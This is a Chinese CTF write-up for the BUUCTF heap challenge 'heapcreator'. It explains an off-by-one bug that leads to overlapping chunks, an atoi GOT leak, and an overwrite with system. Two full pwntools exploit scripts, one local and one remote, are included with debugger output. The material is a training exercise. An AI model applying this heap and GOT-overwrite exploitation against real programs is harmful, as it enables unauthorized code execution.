BUUCTF-PWN-hitcontraining_heapcreator
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位程序,小端序
开启部分RELRO-----got表仍可写
开启canary保护-----栈溢出需绕过canary
开启NX保护-----堆栈不可执行
未开启PIE----函数地址为真实地址
动态链接
运行一下试试
功能基本上就是
1. 创建堆
2. 编辑堆
3.显示堆
4.删除堆
5.退出
ida看一下伪代码
主函数就是根据选择调用不同的子函数
create_heap()函数创造一个堆,这里可以观察到我先是输入一个数字赋值给了size,然后后面又把size赋值给了*(_QWORD *)heaparray[i],作为chunk的size大小,先是申请一个0x20大小的chunk,mem里存放下一个chunk大小,然后又申请size大小的chunk
read_input(*((void **)heaparray[i] + 1), size);就相当于是read函数
就是
delete_heap()函数,删除一个堆,free掉两个chunk后,只把第一个chunk指针置空,第二个chunk(内容chunk)未置空
edit_heap()函数,编辑一个堆修改内容chunk时,
read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
*(_QWORD *)heaparray[v1] 已经是chunk的size大小了,然后 *(_QWORD *)heaparray[v1] + 1就导致可以往mem里写入一字节,造成off by one
show_heap()函数,输出一个堆
思路
用creat_heap创造两个heap(内容chunk的mem大小分别为0x18和0x10),利用edit_heap()函数的漏洞,往下一chunk多写一字节,可以覆盖掉下一chunk的size大小(这里改为0x41),使之size变大,之后free掉chunk,fast bin里出现两个chunk(0x20和0x40)(重叠的chunk),再次申请之后造成两堆块重叠,修改内容chunk可以修改大小chunk(记录内容chunk的大小),可以把一个libc里的函数got表地址(这里选atoi函数)写入大小chunk,之后用show_heap可以把atoi函数的真实地址泄露出来,再根据相对偏移不变,找出system函数地址,利用edit_heap把system函数地址覆盖掉atoi函数的got表地址,当程序再次调用atoi函数时,就相当于调用system函数,一开始正好有个read函数(只能最多输入4字节),我们直接输入sh字符串就可以获得shell
关于libc的获取,题目是ubuntu16,可以在buuctf上找到libc源码
libc源码下载
白色部分即为libc版本,利用glibc-all-in-one和patchelf即可修改程序加载动态链接库,进行本地调试
exp本地调试
from pwn import *
context(log_level='debug',os='linux',endian='little',arch='amd64')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
sh = process("./buuctfheapcreator")
#sh = remote('node4.buuoj.cn',25501)
elf = ELF("./buuctfheapcreator")
libc = ELF("/home/binary/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
def dbg():
gdb.attach(sh)
pause()
def create(size, content):
sh.sendlineafter(" :", "1")
sh.sendlineafter(" : ", str(size))
sh.sendlineafter(":", content)
def edit(idx, content):
sh.sendlineafter(" :", "2")
sh.sendlineafter(" :", str(idx))
sh.sendlineafter(" : ", content)
def show(idx):
sh.sendlineafter(" :", "3")
sh.sendlineafter(" :", str(idx))
def delete(idx):
sh.sendlineafter(" :", "4")
sh.sendlineafter(" :", str(idx))
def main():
create(0x20 - 0x8, "aaaa") #申请一个mem为0x18大小的内容chunk,heap编号为0
create(0x10, "bbbb") ##申请一个mem为0x10大小的内容chunk,heap编号为1
dbg()#断点1
edit(0, b"a" * 0x18 + p8(0x41)) # 覆盖第二个heap的第一个chunk的size大小为0x41,
dbg()#断点2
delete(1) #free1号heap,内容chunk的mem指针未置空。
#现在fast bin有两个chunk,分别为0x40大小和0x20大小,其中0x20大小的chunk重叠于ox40大小的chunk
dbg()#断点3
payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])
create(0x30, payload) #申请free后的0x40(0x30+0x10)大小的chunk作为内容chunk,heap编号为1,
#申请free后的0x20大小的chunk作为大小chunk(记录内容chunk的大小),
#造成两堆块重叠,修改内容chunk可以修改大小chunk
#2号chunk的mem内容前0x20字节随便写(这里写了四个int0,一个0占8字节),
#之后写入0x30,伪造chunk,内容为atoi的got表地址
dbg()#断点4
show(1) #输出1号chunk的mem内容,即atoi的got表对于的函数真实地址
libcBase = u64(sh.recvuntil("\x7f")[-6: ].ljust(8, b"\x00")) - libc.symbols["atoi"] #接收atoi真实地址,计算相对偏移量
print('libcBase = '+hex(libcBase))
system_addr = libcBase + libc.symbols["system"]
print('system_addr = '+hex(system_addr))
edit(1, p64(system_addr)) #编辑大小chunk(此时该chunk存放的是atoi的got表地址),修改atoi的got表地址为system函数地址
dbg()#断点5
#delete(0)
sh.sendlineafter(" :", "sh") #read函数输入sh,作为system参数
sh.interactive()
main()
运行
断点1处,可以看到申请了两个,出现了四个chunk,分别为存放大小的chunk和存放内容的chunk,其中大小chunk指向内容chunk
0xcd9040: 0x6161616161616161 0x0000000000000041
断点2处,可以看到第二个chunk已经被我们修改为了0x40大小(0x41是因为上一个chunk还在被使用)
断点3处,我们可以看到free第二个chunk后,fast bins出现两个chunk(0x40和0x20)
0xcd9070: 0x0000000000000030 0x0000000000602060
断点4处,可以看到我们已经把大小chunk指向内容chunk的指针改为了指向atoi的got表地址
0x602060 <atoi@got.plt>: 0x00007fbda3d31e90
而且可以看到atoi的got表内容
0x602060 <atoi@got.plt>: 0x00007fbda3d403a0
断点5处可以发现atoi的got表地址变了,就是变为了我们写入的system函数地址
接着运行,获得shell
exp远程
from pwn import *
context(log_level='debug',os='linux',endian='little',arch='amd64')
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
#sh = process("./buuctfheapcreator")
sh = remote('node4.buuoj.cn',25501)
elf = ELF("./buuctfheapcreator")
libc = ELF("/home/binary/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
def dbg():
gdb.attach(sh)
pause()
def create(size, content):
sh.sendlineafter(" :", "1")
sh.sendlineafter(" : ", str(size))
sh.sendlineafter(":", content)
def edit(idx, content):
sh.sendlineafter(" :", "2")
sh.sendlineafter(" :", str(idx))
sh.sendlineafter(" : ", content)
def show(idx):
sh.sendlineafter(" :", "3")
sh.sendlineafter(" :", str(idx))
def delete(idx):
sh.sendlineafter(" :", "4")
sh.sendlineafter(" :", str(idx))
def main():
create(0x20 - 0x8, "aaaa") #申请一个mem为0x18大小的内容chunk,heap编号为0
create(0x10, "bbbb") ##申请一个mem为0x10大小的内容chunk,heap编号为1
#dbg()
edit(0, b"a" * 0x18 + p8(0x41)) # 覆盖第二个heap的第一个chunk的size大小为0x41,
# dbg()
delete(1) #free1号heap,内容chunk的mem指针未置空。
#现在fast bin有两个chunk,分别为0x40大小和0x20大小,其中0x20大小的chunk重叠于ox40大小的chunk
#dbg()
payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])
create(0x30, payload) #申请free后的0x40(0x30+0x10)大小的chunk作为内容chunk,heap编号为1,
#申请free后的0x20大小的chunk作为大小chunk(记录内容chunk的大小),
#造成两堆块重叠,修改内容chunk可以修改大小chunk
#2号chunk的mem内容前0x20字节随便写(这里写了四个int0,一个0占8字节),
#之后写入0x30,伪造chunk,内容为atoi的got表地址
# dbg()
show(1) #输出1号chunk的mem内容
libcBase = u64(sh.recvuntil("\x7f")[-6: ].ljust(8, b"\x00")) - libc.symbols["atoi"] #接收atoi真实地址,计算相对偏移量
print('libcBase = '+hex(libcBase))
system_addr = libcBase + libc.symbols["system"]
print('system_addr = '+hex(system_addr))
edit(1, p64(system_addr)) #编辑大小chunk(此时该chunk存放的是atoi的got表地址),修改atoi的got表地址为system函数地址
#dbg()
#delete(0)
sh.sendlineafter(" :", "sh") #read函数输入sh,作为system参数
sh.interactive()
main()
运行获得shell